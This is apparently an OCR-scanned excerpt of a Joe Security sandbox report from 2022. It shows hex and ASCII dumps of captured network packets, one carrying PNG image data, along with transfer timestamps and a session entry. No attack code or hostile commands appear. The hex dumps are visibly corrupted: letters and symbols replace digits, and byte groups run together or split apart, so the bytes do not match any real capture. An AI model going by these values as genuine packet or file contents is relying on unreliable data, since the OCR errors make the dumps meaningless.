a3 b3 8a 94 a7 8f 83 7f e9 ea ec 87 85 8c 5b 5e 62 5d 5a 5f 69 5f 5f a7 aa ad 63 61 66 5a 58 5b 56 55 58 d6 d7 d8 a0 al
a3 a3 9faad9e9 97675 7a53 5255 ad aa b5 bf d5 ee f8 f9 fb 69 6b 6f 9e 91 85 ¢7 c3 d1 f4 f6 f8 e0 el e3 c2 c7 cc b6
ba bf al a8 ae 9c a3 ab 95 9d a5 a8 ae b4 b0 b5 bb 50 4f 52 cc e2 f9 e4 e6 e7 4c 4b 4f 46 46 4a 41 3e 41 3d 3b 3e 35 37
44 2b 2c 38 30 31 3c 3f 44 48 4a 49 4c a7 a4 b0 80

Data Ascii: PNGIHDRKpJPLTE|rihzt~spxnm[*b]Z_i__cafZX[VUXvuzSRUikoPORLKOFFJA>A=;>57D+,801<?DHJIL

Data Raw: ae 81 4a 8d 04 5c¢ cf 2d b9 c¢5 6b d7 28 02 db 50 0d 69 8b 01 7c d5 fc 2f 7e 78 53 f4 05 1c ec 1f ec 72 d7 af a7
13 89 f4 fe cd 5b 41 3e 9f 0d 02 Oa a0 c1 5 bc d2 ed 3b 96 69 e6 cb e5 5¢ d6 50 94 6e 06 fO 65 b6 74 2e 29 b0 0Of 12 92
3a b7 c5a2 73 97 1f fc 43 d7 c9 ee 19 df 71 9c 5b b7 6e 05 74 17 ec 96 2a 3c ce bd 73 a7 52 40 ce 36 64 29 7b 8f 01 7c
89 f5 24 cd ff 36 fb 88 ed 70 f3 3a 8b 8c a8 69 €9 2a le c0 be ec 07 4e 70 ff fe 7d Oa cO e5 e8 fO ef 7a c4 75 ef b8 45 2a
c0 56 e3 0f 2e dc 64 00 5f 62 45 e7 04 f6 51 82 ce a5 58 54 a6 45 31 51 ¢5 13 d0 62 be ef 07 7e 18 00 cd 3f 7d 38 cb ad
14 e0 59 66 21 5f ce 4a aa 59 bc 30 c6 de 7 70 6a ea 11 6b 02 20 7c f6 22 7f 51 e7 36 58 44 4e 8a 8f 2f 5f be 9c a0 17 9f
ff el 5b 41 10 f8 b7 ea 67 00 3a ec d3 dc 7b 4f

Data Ascii: J\-k(Pi|/~xSr[A>;i\Pnet.):sCq[nt*<sR@6d){|$6p:i*Np}zuE*V.d_bEQXTE1Qb~?}8Yfl_JYOpjk |"Q6XDN/_[Ag:{O

Data Raw: 31 2b 49 fe 33 4d 83 1d f2 ff 16 09 fd 12 8a 62 a7 be f8 59 31 cf 98 74 5¢c 00 b8 42 03 f4 f9 6f 24 40 4a 04 e2
06 c1 9b 62 ed 23 02 7c bb bb b7 bb 4a aa 80 6a 25 02 40 fe 27 0a 45 al 44 04 00 16 c2 81 5c f4 69 79 3e c1 f3 7b 5b df
0d 0f 46 22 44 80 2b aa el 39 00 2e 75 60 80 3 d4 el 60 00 bd c0 12 81 78 d1 93 b3 78 d3 al 91 al 1d 32 df 58 00 97 c8
fa 1b 02 3c 68 96 04 7b cb bf al d4 dc 3c 22 24 31 3 1f c0 30 9d 20 5a 98 4e 63 2e 81 ee a0 01 fa fc 37 5e 02 31 71 96
4d 19 07 6f 86 75 7f e5 ea 1f 3e 7a b7 b7 77 54 b5 42 19 50 55 35 Ob 15 60 2e al 80 00 95 52 85 a4 3f 11 e0 a9 12 29 24
12 1b 7c d6 f6 ce 7a 6f 5d 80 48 bf ad a5 00 4b 7a 01 9a 50 01 e4 b3 eb 74 7d af 8b 9b a8 88 al 00 90 b5 b3 ba 93 60 d9
4800 17 d6 0b 02 5b 17 60 13 bd 01 fc e6 3e 52 ¢7 18

Data Ascii: 1+I3MbY1t\Bo$@Jb#|Jj%@'ED\iy>{[F"D+9.u" " xx2X<h{<"$10 ZNc.7*1qMou>zwTBPU5".R?)$|z0]HKzPt} H[">R

Data Raw: 11 4e 4f 85 88 56 04 01 aa 55 d8 03 7a ae 9c 94 aa cf Ob f3 09 a5 3c el e3 dc e4 25 19 f7 94 c4 bc 65 58 82
41 3b 5e d9 b1 64 98 98 3f 8d 88 fc 86 87 06 58 b8 bf 10 78 75 ba f0 0a 01 01 9e 57 2a b5 ca cb ea b3 5f a0 00 bc a8 56
4e 0a 50 00 b4 68 c4 1d 9e 09 04 02 33 ee 95 b7 4e 00 fa cc a7 c5 65 ee 7a 76 9e d7 fd 05 dc 4f €9 47 dd 64 10 Oa 40 e0
fe @9 02 08 70 8a f9 bf b0 5¢ 38 a9 14 6b bf 3c ab 3e 7b 71 a2 94 4f 5e 96 48 13 ac 69 d1 fO cc cc 4c 60 21 30 f3 17 e6
6d 03 77 81 82 b0 Ob 64 36 bd 5d 32 60 6¢ 5a 3f 3e 3e d6 fd fc 07 ec 7c 21 40 05 a8 1b 70 fa 5f f6 ee 9a €9 79 23 8a e2
b8 fa b7 Oa a7 Ob a7 7a 99 1f 86 26 Oc d5 03 6d aa 55 98 99 b1 0a 27 4d c8 d6 6a 66 ad ce ba 33 f7 ae 3c 1b fc 68 59 85
99 c1 f0 ff 99 be c0 39 66 €9 b8 f7 1b a9 86 d5 b8 8e b5

Data Ascii: NOVUz<%eXA;*d?XxuW*_VNPh3NezvOGd@p\8k<>{qO”HiL 10mwd6]2'1Z?>>|!@p_y#z&mU'Mjf3<hY9f

Data Raw: 8e 07 00 18 bc dc 6e f1 al 65 ed 19 80 0f 75 25 Ob 50 8e a3 07 b9 3e 00 01 f0 63 1d e7 db 3a 31 28 €5 9b 31
05 41 2d bf 02 20 02 94 8d c9 2c 45 b2 a5 f9 88 3f b7 34 25 a8 31 ac 25 3e c1 2d d6 3c 5e 53 13 a8 70 aa 22 b4 6c 2f 2d
d6 Ob 50 d6 a9 10 f2 23 34 7a 02 40 ce 17 20 e7 6¢ 95 f2 bc 54 bf a5 66 6b 1f 22 35 6d 92 52 31 01 3e 1a 7b 67 50 f3 57
9a 58 Oe 2e 1a 33 6e €0 33 82 f8 96 45 19 63 9e d6 ac 02 70 19 6b d8 b4 2a 7e bl 26 5e 80 59 af 83 7f 2c b8 03 29 00 ca
43 ed al Oa ca b7 18 ef Oc 17 5b 21 70 da 42 36 66 01 9a 54 ae 2d 8b 07 ef 55 f6 16 00 c8 f6 e0 44 6b 6a 15 ef 94 4c 41
ba 95 d6 Oe a0 bd 4b ff a6 c7 01 00 4c 56 66 1b 9b Ob 55 92 51 f6 €2 11 €8 02 90 80 45 56 €8 31 8e 6 ed 58 1c 31 ae ba
ea Oe Ob 10 25 a0 6e 9a 23 f3 b0 3a 77 ¢7 dd 2a c8 07 8d

Data Ascii: neu%P>c:1(1A- ,[E?4%1%>-<"Sp"l/-P#4z@ ITfk"5SmR1>{gPWX.3n3Ecpk*~&~Y,)C[!pB6fT-UDKLAKLVUQ
EV1X1%n#:w*

Data Raw: fa 13 00 46 00 61 18 66 c7 04 6a c1 Oe 6d da d6 53 6e 2a a5 c1 fa e6 9f c1 ab 58 c0 b8 ed 2b 60 f3 0c 00 b9
11 1e c9 d5 06 db 04 36 23 1f 07 de 5a 27 eb 1d fa 00 2c 4d 1b 9b 1c 42 8b 2c af 21 8b 34 21 d6 55 62 84 8d 19 87 fb 5b
0220 c7 7e 66 87 13 ¢3 0b 00 c7 Oe e0 d8 05 e0 02 00 al 03 80 19 dd 3a d2 8d e7 7f 5¢c 04 76 c0 b0 fa f2 75 06 60 66 24
€9 e0 98 81 26 26 21 68 7c 4a 67 db 6d a3 98 8a d3 fc aa 34 e5 b2 b4 30 5c 6b a8 d1 13 31 c0 b1 07 80 2d 55 14 88 d3
bc a6 c4 e2 97 f0 1c 00 bl 1b e3 61 3c 06 90 48 53 1c 8 ac e2 e8 54 16 8¢ 6b 69 62 6d 59 59 00 d7 a7 00 b4 24 89 81 al
352c 92 a4 53 1b 51 53 02 Ob f7 01 30 17 29 88 62 9b eb 16 f2 59 9a 39 20 1c 46 d8 77 05 40 2e cb 78 51 63 e4 ba cc
5d 6¢ ff Oc 60 3¢ f7 01 90 2b 3d 37 c9 a4 ea 67 ca 9b af 8b 03

Data Ascii: FafimSn*X+'6#Z',MB, !4!Ub[ ~f:\vu'f$&&!h|Jgm40\k1-Ua<HSTkibmYY$5,SQS0)bY9 Fw@ .xQc]l'<+=7g

Data Raw: 1e d9 00 36 a5 69 29 92 04 24 b3 4d 4b fc a6 15 01 71 fa eb 1f 06 48 29 88 4b 29 35 6¢ 00 22 22 ff b4 14 b6
0b 46 4a cc 33 eb 35 80 22 75 61 80 88 31 57 10 Oa 2f 38 db ed 60 80 0d al 70 f9 13 28 51 78 cb b0 5¢ 95 Oe 10 f1 84 aa
05 a5 4551 1c 41 14 a2 3b b2 01 e8 13 b2 3e d6 33 4a ef 5¢ 93 a3 f5 a8 62 45 c0 08 a2 6f 86 6d 19 ca 81 54 c1 65 e5 de
69 b7 3a 70 fe 1e 75 2b 60 04 3d 4c ae 17 b9 e2 5f da 4e ad 90 90 cf 88 89 22 66 fc 23 2d Oe 52 e8 33 e5 50 be 06 50 24
33 ce 84 58 16 71 96 0d 80 6b 00 36 00 13 91 7f de 00 4a 2e 9a 95 db 43 06 98 89 bc db 6f 1e 68 €9 c5 €8 8e 62 Oc b0
c6 6d Ob 4b aa 14 5e 25 38 20 93 be 64 80 44 4f 04 25 54 ad f6 1b 5b 16 86 78 64 00 7c e4 19 c5 9b fb 1b 48 40 15 80
14 23 a8 56 59 34 80 d6 46 dc f4 65 7a 80 al 80 c1 69 8b e0 60

Data Ascii: 61))$MKqH)K)5I"'FJ35"ualW/8 p(Qx\EQA;>3J\bEomTei:pu+ =L_N"f#-R3PP$3Xqk6J.CohbmK"%8 dDO%T[
xdH@#VY4Fezi®
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kBytes

Timestamp transferred Direction
2022-04-20 13:07:42 UTC 3414 IN
2022-04-20 13:07:42 UTC 3415 IN
2022-04-20 13:07:42 UTC 3416 IN
2022-04-20 13:07:42 UTC 3418 IN
2022-04-20 13:07:42 UTC 3419 IN
2022-04-20 13:07:42 UTC 3420 IN
2022-04-20 13:07:42 UTC 3421 IN
2022-04-20 13:07:42 UTC 3422 IN
2022-04-20 13:07:42 UTC 3424 IN
2022-04-20 13:07:42 UTC 3425 IN

Copyright Joe Security LLC 2022

Data

Data Raw: 20 22 2 ef 8a 29 b2 f1 79 f4 2e 63 80 71 70 b3 ab 58 88 51 84 e5 92 08 55 4b 64 e3 c3 8a f1 9 ee 94 65 51
d4 d1 de 3d d7 2d 8¢c 78 06 e4 cb 8d el d2 39 e6 d1 22 af 32 3d ac 4d a7 3b be fe 68 48 55 d5 47 cb 8b 6f fe 5a 55 55 99
0a 80 ff 9b 55 e5 a4 f9 6b 55 55 65 c5 34 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55

55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 7f 8a 86 30 fe 2b ca 6d 0b fO ec db 14 8d 89 65 d6 fO db 15 42 62 52
6f 3c 5a Oc ba fd f3 aa 32 12 9e 23 5¢ 31 a5 ea 6d Oa 22 fe 79 ce d8 d9 98 b4 de 76 5f cd 0f 49 64 7c 02 d0 e6 45 42 b9
db 1f ad d1 Oc d5 00 6f 10 10 b7 c7 0d 40 cf 98 02 ef e1 23 Oc 70 bd b3 30 6e c3 fc 67 18 40 33 1d 24 54 03 bc 45 b7 f4 6f
68 f3 37 a5 fb 8¢ b0 d0O 1b 0d 00 dd ce 68 f2 7 1b 00 09

Data Ascii: ")y.cqpXQUKdeQ=-x9"2=M;hHUG0ZUUUkUUe4UUUUUUUUUUUUUUUUUUUUUUUUUUUUUU
UUUUUUUUUUUUO+meBbRo<Z2#\1m"yv_Id|EBo@#pOng@3$TEoh7h

Data Raw: eb 8a 06 60 9f a4 f5 f6 51 1d 33 80 ea 98 01 b4 c3 63 43 e3 65 cf 00 3d 23 87 af 6e bd 22 f2 c8 00 98 2e c4 b7
1b cO b1 33 8d 1f c7 d4 76 07 df 01 4a 94 5b 5f 7e 07 60 03 b4 db 4f ba 46 52 13 24 2d ff e8 64 46 88 6b e7 44 e4 9c 8f
3b ad 67 55 03 d8 b8 08 d8 85 38 77 60 11 95 df 01 56 74 e4 87 06 b8 1e 35 80 b6 95 dO b1 f6 7f 19 a0 fO Oe 40 e4 df 43
06 fO da al 03 06 c8 6a 97 6e 7d e5 24 89 04 cd 06 98 c4 6¢ 32 3a e9 be 79 fc Oe 80 05 35 00 43 bd 51 23 ca e7 8b b7 c5
00 bd 84 b2 01 78 99 98 09 cc a7 40 3d 89 aa 01 b0 e8 ea 85 Oc 5d e8 5d 8e 36 34 4e e2 6 b4 el f8 d3 ba 1a a0 fc 3d 87
85 01 70 c9 83 6b 00 38 a2 28 2a 86 21 bd 58 58 5e 73 0a 6b 57 d7 00 04 85 ea d4 00 74 a9 40 d7 00 aa c7 06 40 20 a8
6c 00 34 06 4a bd 38 cb 80 46 36 00 93 72 95 d3 a9 34 e4

Data Ascii: "Q3cCe=#n".3vJ[_~ OFR$-dFkD;gU8w Vt5@Cjn}$I2:y5CQ#x@=]]64N=pk8(*! XX skWt@ @ |14J8F6r4

Data Raw: 73 00 87 dd 3b 72 40 be 7b 77 72 1c 02 00 7f 3a 00 d5 dc af d9 c3 a6 df Oc 80 35 ec d8 4b db 1e d9 f1 33 01
90 49 40 b7 al 40 76 9a e8 38 f3 2c a3 54 c¢5 94 00 43 29 7d b5 b2 b7 8b 63 a0 8f €3 72 3a 07 77 cc 93 ee a5 bc 44 ab
90 e3 95 72 f9 f2 a8 85 f0 56 cc b8 b5 a8 78 4f 06 36 ae e9 22 ee 34 00 a3 8a 97 07 68 f7 bl 36 f5 0a 00 2f ae 45 bc 5d
16 26 8e 37 5e 67 7357 49 83 8a d8 00 71 1c 27 72 a8 18 98 a9 Oa fe €9 84 cd e3 79 13 77 7b 67 0d 18 8f ed d8 60 7d
c1 12 8b d8 f3 1a eb 6e 23 45 ab d8 5c 6e 5a 2d d7 dc 11 00 6a 9b 67 6a 68 d7 fa 42 00 e0 b7 f9 39 00 64 58 bb bl 8d c5
fa 2e 00 54 d0 c6 5b Ob 2c 00 38 c1 c5 ae 66 12 60 2c 94 be 4a d9 eb 7e ef 00 56 54 88 21 98 61 79 fd b1 56 da ca 73 a4
01 16 26 e4 62 29 bc 8d 5e ac 88 65 5¢ 3b a7 d3 76 3c d1 8b 02

Data Ascii: s;r@{wr:5K31@@v8, TC)}cr:wDrVx06"4h6/E]&7°gsWIq'ryw{g In#E\nZ-jgihBIdX.T[,8f ,J~VTlayVs&b)"e\;v<

Data Raw: 80 b2 be 15 b7 03 a0 9f 00 b5 7 09 60 9f Oc 4c fa 5e 00 2a 20 2e 47 55 af 9a 03 48 2c ba 28 46 32 1le 5a 47
3156 cb 4e d8 00 b6 68 c6 fb €9 7d 02 8¢ 49 9f 8a 18 58 b4 a9 91 76 cb dd 34 40 7c 1a 9b 22 43 20 ad 07 ee bc 00 3c 8¢
05 1b e8 c9 46 fd 52 19 00 c5 a7 ac 02 3d ca ff e4 70 33 00 e7 76 Oa 67 05 00 5e df 04 cO a2 b8 7d Oe a0 dc bb 5a c4 a8
€700 be 59 13 17 91 d4 1c 40 03 a7 01 dO 8a 62 01 a0 98 cf 01 €2 db 01 dO c6 el 74 el 4b ee a6 fb d3 01 f1 fb 00 e0 e2
91 7f Oe 40 52 f7 11 cc d8 cf c¢6 3f 20 5d 02 dO cb fd 74 00 f8 a5 c5 b5 f8 30 45 17 c9 24 c0 4a 16 b4 f4 24 58 eb 81 4b 20
5d 4a 2b d3 f1 93 d8 fd d4 a8 d4 3d d0 7d 3c 00 cf b0 d2 9d c7 cd fe fd 00 ac c7 23 f4 14 da da 37 e6 00 bc 50 fe ee 29 00
94 6¢ bb 2e 17 86 4f 55 54 c6 2e a5 02 80 7d f4 7d

Data Ascii: "L"* .GUH,(F2ZG1VNh}IXv4@|"C <FR=p3vg"}ZY @btK@R? JtIOE$I$XK [I+=}<#7P).OUT.}}

Data Raw: e8 ae ea 16 4f b0 75 f4 59 d1 2d fO ef 78 ea be ¢3 Oc e0 90 03 40 b6 be a2 0d 56 9e 60 a6 47 ff 76 c5 79 7b ff
3150 00 40 37 e4 fe 00 30 5f 7e 04 b4 05 b2 61 e8 01 4a 00 d6 d8 5e b7 44 4a da 37 2a b6 79 6e 81 f5 97 05 20 00 10
00 68 a7 9e ff 0a b4 37 03 70 a5 e2 f3 68 1b 3b c3 1e 3f 6a 12 dO cd a5 b6 5d bc 89 ea 6a 6e 9b a5 b3 57 00 f0 58 89 a5
86 26 ee 2f 1a e2 c6 f9 83 29 10 2e dd fa 45 94 c4 16 a5 fb a0 8b 2d ac 3b ¢8 ab b8 15 d7 b0 eb 77 c9 58 62 c3 f2 ee 70
3940 cb 94 79 5d 4d aa 1d c7 ae 25 35 2f 6e 43 00 a2 fd d8 f4 78 26 1b 9e 8c ch e2 28 8e 45 e4 2b 2f a4 25 1a 71 a5 9d
€6 63 95 05 59 be 54 db c5 c5 a5 el ee 20 5e 39 db b9 6¢ 41 3d b6 df 56 49 b4 dc 91 f0 ae d2 24 fc 15 01 f8 81 9¢ 76 bc
d7 0f 05 60 c0 20 96 b1 8f 00 40 49 73 a3 06 a6 b6 b8 e4

Data Ascii: OuY-x@V Gvy{1P@70_~aJ*DJ7*yn h7ph;?j[inWX&/).E-;wXbp9@y]M%5/nCx&(E+/%qcYT "9IA=VI$v' @Is

Data Raw: a9 ae 47 9e bb c5 8e 0e 50 2d 2b ef 03 40 8e 03 ad 78 1c 8d 7 79 86 ac 95 51 7f 6e a7 cd f5 72 84 92 83 c9

9 32 68 9b f1 35 d3 da 13 3c 60 cc 20 e0 d1 47 bc b0 74 1c 81 a3 b4 65 07 2c 7c c4 Oe 8b 3¢ 1b 9b 97 01 cO 96 47 8¢ 84
6198 01 50 98 9e 5e a4 fd 24 df 4e e5 f5 b0 62 67 4d a0 01 50 56 62 ea 8a 39 07 f0 03 50 f3 03 54 f2 be 7b af e2 56 cd
01 a4 c0 5e 2c ca 3c 9e 11 99 32 25 07 f4 c1 6¢ c4 3f 9a 78 01 fO cf 01 2a 2e fa 14 4a e4 cb 74 40 c7 a6 6a a7 bl 17 00
6d df 8f a5 9d 8b 67 d3 83 71 05 53 8b 62 b6 9f 00 fO 4c f4 96 dc 1f 80 d6 f5 f5 2d 72 f7 a9 d3 06 Of 6e f3 68 f5 3a 8d 3b 4a
74 01 c7 f1 50 ab eb d6 a5 1d 4b 93 8f 78 69 dd b0 68 35 00 63 c5 e7 e3 85 2f 56 87 ec d5 6e 9f db c3 f3 4e 7c 04 fd b8
37 52 al 97 b5 01 56 b2 2d 3d 80 Oe 07 46 5b 89 29

Data Ascii: GP-+@xyQnr2h5< Gte,|<GaP $NbgMPVbIPT{V*,<2%I?x*.Jt@jmgqSbL-rnh:;JtPKxih5¢c/VnN|7RV-=F[)

Data Raw: 52 1b bc 1d 2¢ ce d3 28 07 f9 f9 9¢ 03 bd ac e7 23 1f 1e b7 d3 b0 a9 df 9e 6d f6 88 83 ¢7 13 bc 1d 86 21 47 36
Oc ¢3 99 15 3f 8e 35 bd 4e 3c a0 3f 9f 7b e0 55 dc ¢5 39 b6 19 a6 el 19 f2 ed 39 9f 60 5b 0f 03 c0 7a b8 df ba 3f cd fb 18
7a 63 51 54 5e 00 44 57 bc 32 1a 00 9f 95 98 96 69 94 53 dd d6 00 9b ab 93 60 af e2 96 da 5c 1f 00 da 70 2c 00 68 a9 bl
2b 9f d8 85 bb 37 81 bb 2a 23 73 00 69 3a 2f 73 e1 38 36 b5 17 00 96 el 85 69 a7 71 31 1d 5f c6 1e 00 d8 b0 fe d2 b0 d3
a2 05 a7 49 29 dc 3 8c dc d1 01 fa 4c 77 fa f7 00 cf 19 80 fe f9 b0 58 05 b2 1c 75 ab cd 6d 76 d9 1c e7 02 dc 9f 01 18 64
15 28 6f 07 1c 3c 9e €0 1c 4c a6 7d c4 63 d6 97 8a 09 da 71 70 27 cd 30 ad 2f f5 b8 54 4d Oa a5 1e 57 dc f2 d1 a2 5c ¢3
621 f2 02 20 d2 e0 2e f2 03 €0 11 04 a7 15 fb

Data Ascii: R,(#m!G6?5N<?{U99'[2?zcQTDW2iS"\p,h+7*#si:/s86iql_I)LwXumvd(o<L}cqp'O/TMWA\! .

Data Raw: 07 01 c0 c6 04 d0 3b 51 da ee 8e d3 d3 2d 38 5b 5d a5 9d 4 10 00 6c 46 00 fb 66 fe 77 1d fe c8 d9 35 05 ec
a7 0d 20 18 1c 1d 53 e4 f8 68 c0 5f 72 00 80 00 cc eb 7f 67 8b ff cd 56 ¢7 1c 03 52 05 10 bc 3b 1d 8e 46 ef 07 a4 1d 7d
38 1d 0d 4f df 05 2f 37 00 40 00 27 b3 5e ed f7 cd bd 7e 8a 00 82 b3 el f9 e0 78 70 3e ba 20 ba 18 9d 0f 2e 8f 3f Oe cf d2
04 00 c0 8a c5 f5 07 b0 a3 54 67 9f 27 ec 77 94 ea a7 08 e0 dd d5 c7 4f 1f 35 5d cO c5 fO fc 93 76 f4 69 78 41 31 ff {8 fc
€5 2b 02 d8 38 56 bb d5 a6 05 b9 52 ae 3d 80 9e 52 6a 8b cf b0 a5 1f e8 2d 1c 40 70 3a 3e 3f 3f ff 53 1b 9f 9e 5e 9f 3f 18
7fa0 89 7f 7e b9 b9 f9 bc 69 01 40 a3 22 65 eb 25 06 50 55 6a 97 cf b4 ab 54 7f e1 00 06 b7 d7 c6 58 1b 8d c6 d7 al 3f
af 87 ¢7 14 29 7c bd b9 f9 f7 a6 05 00 6c¢ 4f ca

Data Ascii: ;Q-8[]IFfw5 Sh_rgVR;F}80/7@'"~xp> .?Tg'wO5]VixA1+8VR=Rj-@p:>??S"?~i@"e%PUjTX?)|I0O

Data Raw: 5f 58 54 ef 71 78 ff Ob 00 00 00 00 00 00 00 00 00 00 00 00 00 00 bc 02 c6 ba 51 31 16 54 9c¢ 18 Ob 76 fc c6
58 d0 91 15 43 ¢l ca c8 be 01 23 dd ce e8 dc 01 23 ed ec 58 99 27 60 a0 93 b9 a2 76 e6 be 01 c3 dc 9d 79 2a aa 4e 66
af 80 51 aa 33 4f 3d 01 6a 75 66 ef ba 01 23 bc ea 74 66 af 7a 02 3c 76 27 8c d2 bb 1e 51 5f ef cf 4f ¢2 10 fd 79 d7 57 14
Oc 26 00 02 80 00 20 00 08 00 02 80 00 20 00 08 00 02 80 00 20 00 08 00 02 80 00 20 00 08 00 02 80 00 20 00 08 00 02
80 00 20 00 08 00 02 80 00 20 00 08 00 7f ec 9d 01 86 3b 31 14 87 0f 50 a8 81 42 80 3f 28 20 07 28 bd 43 40 2e 50 Oc
da 6b 14 80 fc 81 52 62 50 40 1e 08 le 89 45 ae f2 92 6b 6¢ d3 a9 2e Ob da 6e b2 2c ef 3b c2 cf f7 65 1e 30 7f 25 00 71
de ef b6 26 5¢ 31 9b 7f fb a5 e0 21 7f c6 30 8a a4 9a 92 84 le

Data Ascii: _XTgxQ1TvXC##X" " vy*NfQ30=juf#tfz<v'Q_OyW& ;1PB?( (C@.PkRbP@EKI.n,;e0%q&\1!0

Data Raw: 18 98 f2 05 dd 01 40 90 f9 be c8 c3 c9 b8 ba d9 67 58 01 61 82 b9 5d 96 44 01 8e 82 73 c2 eb 08 00 1d 20 f4
1289 3e 10 12 96 Oc 60 Oe 50 c9 67 89 39 b4 28 c8 7a 93 65 13 cc b4 1b 24 cd fb 26 49 6b f9 8a 9a 75 80 a8 0f c1 a0 e6
cd 79 63 92 Oe fc ab 2c 70 7b b3 00 10 d6 3a d4 58 d6 b0 db 3c df e9 f5 9d e7 c5 d8 cf a0 07 77 a6 db 0f 0d d6 86 3e e3
ad 03 99 5¢ ac 68 00 6¢ 79 00 f8 e9 al d8 3c 1la 3d 3e 35 d7 ad 45 €0 fe b8 2d be 2f 54 cf 6f 71 05 08 5f 02 04 9c ab 04
3ae5c317 99 a0 6d ea ac 08 40 cd 71 7c 20 84 a5 00 dO 11 a4 06 Oe ef 7c 7 c6 74 95 13 97 95 Oe 38 be el 9c 28 08 cO
54 1e 2d 61 40 1d a4 92 36 ae 02 a9 c4 c9 Oe 2 dc 44 fb 9a 66 4e 25 0d 26 2e 10 a6 46 41 31 91 17 33 af d6 b9 59 f9 16
26 05 b8 Ob 8¢ 81 5¢ 00 78 72 00 81 d0 7b 13 61 10 e5 40

Data Ascii: @gXa]Ds > Pg9(ze$&lkuyc,p{:X<w>\hly<=>5E-/Toq_:m@q| |t8(T-a@6DfN%&.FA13Y&\xr{a@
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kBytes

Timestamp e Direction
2022-04-20 13:07:42 UTC 3426 IN
2022-04-20 13:07:42 UTC 3428 IN
2022-04-20 13:07:42 UTC 3429 IN
2022-04-20 13:07:42 UTC 3430 IN
2022-04-20 13:07:42 UTC 3432 IN
2022-04-20 13:07:42 UTC 3433 IN
Session ID Source IP Source Port
101 192.168.2.4 49860

) kBytes —
Ti Di

imestamp transferred irection
2022-04-20 13:07:42 UTC 3403 ouT

Copyright Joe Security LLC 2022

Data

Data Raw: Ob 40 37 f4 5d 20 d6 f5 ca cf f4 4e a7 5f 47 fO 5e 7c 97 87 {7 be Ob 24 90 70 00 5¢ 97 94 82 de 06 9d 52 30 00
30 c3 ab f9 4a 5e d5 20 07 00 65 f1 67 34 75 Oa 80 a9 41 Ob 4a 45 d9 e8 3f 52 31 14 7a 9f el fd Oc fd fb fc 20 26 06 60 a7
78 f4 78 fO cb 41 73 74 f4 74 b0 fe b5 50 6e 24 2d 00 b6 ca 97 17 ad db 30 00 50 8c 44 5d 50 c1 c9 8f 2e e2 b5 99 b7 41
13 e3 8e 08 00 47 6¢ 93 44 ¢6 43 79 9b 07 56 9f 33 09 66 6a 94 97 1le 17 11 00 14 a9 40 8f 41 29 8d c1 be 99 a9 d7 37
52 b4 Oc Oa 2a 65 34 e8 51 1f 72 fe fa f5 f5 ff 77 25 af b0 00 ¢4 00 9c 3f 59 9e ff cb €3 68 74 b4 b6 b2 6 ee 34 d7 da 5d
48 7e d8 ae 9e b5 ae e6 00 00 a5 2b 8a a2 7b da 24 b4 23 9a Oc 97 05 87 86 28 e4 b3 22 c8 1c 92 92 c7 84 65 50 84 04
7b 04 4c cb ff 63 ef Oc 3c 5¢ 39 e2 38 Oe 1a 3c f0 7a

Data Ascii: @7] N_G"|$p\R00J" eg4uAJE?R1z & xxAsttPn$-0PD]P.AGIDCyV3fj@A)7R*e4Qrw%?Yht4]H~+{$#("eP{L
c<\98<z

Data Raw: fd ba 82 a7 87 al a8 e2 50 bf 36 66 9e a6 f6 9e dc 13 66 ba 71 af db d2 37 d5 ce 22 d9 3d b2 56 ac fb 65 db fa
f2 9b 7a fd 7e ae 3a b3 e7 f7 e2 6f 03 60 13 65 c6 b9 08 64 7 84 75 7c 23 73 14 b9 df 24 d1 96 9d b3 08 ca 61 05 1e ee
42 02 f0 db b5 16 fO 2c 63 cf ea e5 12 35 f9 f5 5¢ 23 e0 9e 31 8b f0 f7 01 20 50 66 ff 30 00 06 30 77 4d 68 bb 00 cO 2a 07
6d 29 fc da Oe 35 1b 7f 03 00 3d 37 2d 03 e6 bf 00 20 59 9b 3f 00 7c 35 63 77 5b 81 6d fc 25 fe 9 37 80 de 6¢ 3b ac 20
d8 61 €9 42 f4 25 ba 87 96 4d fa ed 1f fe 5f 00 80 53 fe e7 00 64 20 7e 00 b8 36 73 6e e2 ef 02 30 3d e4 7f 47 f4 Of 00 1f
00 3e 00 7c 00 f8 00 a0 00 48 36 00 c5 9c 87 47 f1 fO c2 66 97 c5 d9 02 94 2d 29 00 f2 2a 3d ed fe 7d f8 €6 39 59 fc 47 00
72 df a7 af a3 5d e7 2d 90 61 4c fd c5 6e 8f

Data Ascii: P6ffq7"=Vez~:0"edu|#s$aB,c5\#1 PfOOWMh*m)5=7- Y?|5cw[m%7l; aB%M_Sd ~6sn0=G>|H6Gf-)*=}9YGr]-aLn

Data Raw: 80 a7 df 00 28 1b b0 fd 00 80 al 9f 47 75 b2 ff 4d 90 9d 60 79 53 00 d6 59 67 f1 11 00 ab 73 05 be 2a b1 57 75
ca 78 1a 00 9a be ea fc 72 27 63 cf bd 9a df dO da 2c 42 e1 87 c1 72 82 14 f4 87 e5 43 00 12 90 46 bd 2b 6b e8 ae 20 ed
13 6e ae a0 5e €9 25 a7 5e 2f 00 a0 ca 53 7d d1 4c 2b 58 d5 37 00 89 a0 e9 a3 fa 15 00 ea Ob 48 5f d2 d9 5d ec 6d f6 6a
00 d4 58 03 a4 31 a0 25 84 e1 d8 86 5e ef 09 c0 29 fO d5 1b 40 5f 83 ea d3 82 fd d7 00 8¢ 66 bc 00 40 5d f7 €8 Ob 0d 55
67 11 58 b8 b5 aa f8 c2 €9 69 ec 72 09 80 13 34 2e 50 cd 19 f2 70 4d 08 19 el 81 5e 9c al bd 04 80 d3 c2 51 01 b5 ce 74
86 b3 ca ff 30 7f 02 21 0f 6f 81 44 7d cd ea bd 10 a0 5e 01 70 b7 a3 2b ca 91 c0 1a 79 11 b6 46 88 7b 5b 00 d6 d1 4a el
1b 00 5¢c 05 ca fc Of e4 14 ad ed ed 66 f3 Ob 00 2c 22

Data Ascii: (GUM'ySYgs*Wuxr'c,BrCF+k n"%"/S}L+X7H_]mjX1%"@_f@]UgXir4.PpM Qt0!oD} p+yF{[I\f,"

Data Raw: 7c 7a 67 08 a0 36 08 a0 bf bf 03 18 7b f3 b1 d9 7b 39 ee 5a db 3f e3 12 28 dc 05 d0 30 af bc 31 86 00 ea 83
00 26 fb 2b a0 b9 b5 9e d9 7b 39 1e 58 3b 29 1d c0 3a 5e ad c2 ¢8 1c 20 80 3a 21 00 cf 5a 7f ff e7 dc ec bd 1c 07 45 14
